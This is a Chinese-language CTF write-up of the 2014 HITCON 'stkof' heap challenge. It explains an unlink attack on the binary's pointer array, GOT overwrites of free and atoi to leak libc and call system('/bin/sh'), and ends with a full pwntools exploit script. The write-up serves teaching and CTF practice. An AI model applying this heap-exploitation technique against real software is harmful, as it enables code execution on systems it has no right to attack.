2014 HITCON stkof

一道简单的unlink题,CTFWIKI上解释的很清楚。

运行程序发现没有任何提示性文字,只能直接ida分析了。

输入1,malloc一个自己指定大小但有限制的空间,并把这个空间的首地址存在bss段的0x602140上的s数组里。

输入2,可以编辑*s[i],并且此处有溢出。

输入3,可以free掉s[i],free后指针置零,不存在UAF。

输入4,调用一个没什么用的函数,输出\\TODO...

由于程序本身没有进行 setbuf 操作,所以在执行输入输出操作的时候会申请缓冲区。为了防止对之后的操作产生影响,可以先输入1执行一次,把缓冲区先申请完毕再进行操作。

首先分配三个chunk:

1
add(0x100)  完成申请缓冲区
add(0x30)   修改这个chunk来覆盖下一个chunk
add(0x80)	  free这个chunk完成unlink

进行unlik:

1
2
payload=p64(0)+p64(0x30)+p64(s+16-0x18)+p64(s+16-0x10)+p64(0)+p64(0)+p64(0x30)+p64(0x90)
edit(2,len(payload),payload) delete(3)

edit完之后修改的chunk为:

1
0x0000000000000000	0x0000000000000030
0x0000000000602138	0x0000000000602140
0x0000000000000000	0x0000000000000000
0x0000000000000030	0x0000000000000090

此时free下一个chunk,就会向前与刚刚修改的chunk合并。

同时:

1
2
*(fakeFD + 0x18) = fakeBK
*(fakeBK + 0x10) = fakeFD

最终效果就是*(0x602150)==0x602138

此时s[2]=&s[0],edit(2)就可以对s[0]进行更改:

1
payload = 'a' * 8 + p64(elf.got['free']) + p64(elf.got['puts']) + p64(elf.got['atoi'])
edit(2, len(payload), payload)

再edit(1)就可以修改free的got表:

1
payload = p64(elf.plt['puts'])
edit(0, len(payload), payload)

现在调用free时实际调用的就是puts。

1
sh.sendline('3')
sh.sendline('1')
puts_add=u64(sh.recv()[:6]+'\x00\x00')
libc_base=puts_add-0x06f690

这样就可以leak出libc基址(由于没有给libc文件,我事先leak了两个函数地址自己找了libc版本。)

根据偏移得到system函数地址,并修改atoi的got表:

1
system=libc_base+0x045390
edit(2,8,p64(system))

现在调用atoi时实际调用的就是system。

程序在选择功能时就会调用atoi,并且参数可以任意输入,输入/bin/sh\x00就可以获取shell。

最终脚本:

1
from pwn import *
sh=process('heap-1.')
elf=ELF('heap-1.')
def add(size):
    sh.sendline('1')
    sh.sendline(str(size))
    sh.recvuntil('OK\n')
def edit(index, size, content):
    sh.sendline('2')
    sh.sendline(str(index))
    sh.sendline(str(size))
    sh.send(content)
    sh.recvuntil('OK\n')
def delete(index):
    sh.sendline('3')
    sh.sendline(str(index))
    sh.recvuntil('OK\n')
s=0x602140
add(0x100)
add(0x30)
add(0x80)
payload=p64(0)+p64(0x30)+p64(s+16-0x18)+p64(s+16-0x10)+p64(0)+p64(0)+p64(0x30)+p64(0x90)
edit(2,len(payload),payload)
delete(3)
payload = 'a' * 8 + p64(elf.got['free']) + p64(elf.got['puts']) + p64(elf.got['atoi'])
edit(2, len(payload), payload)
payload = p64(elf.plt['puts'])
edit(0, len(payload), payload)
sh.sendline('3')
sh.sendline('1')
puts_add=u64(sh.recv()[:6]+'\x00\x00')
libc_base=puts_add-0x06f690
system=libc_base+0x045390
edit(2,8,p64(system))
sh.sendline('/bin/sh\x00')
sh.interactive()
文章目录
|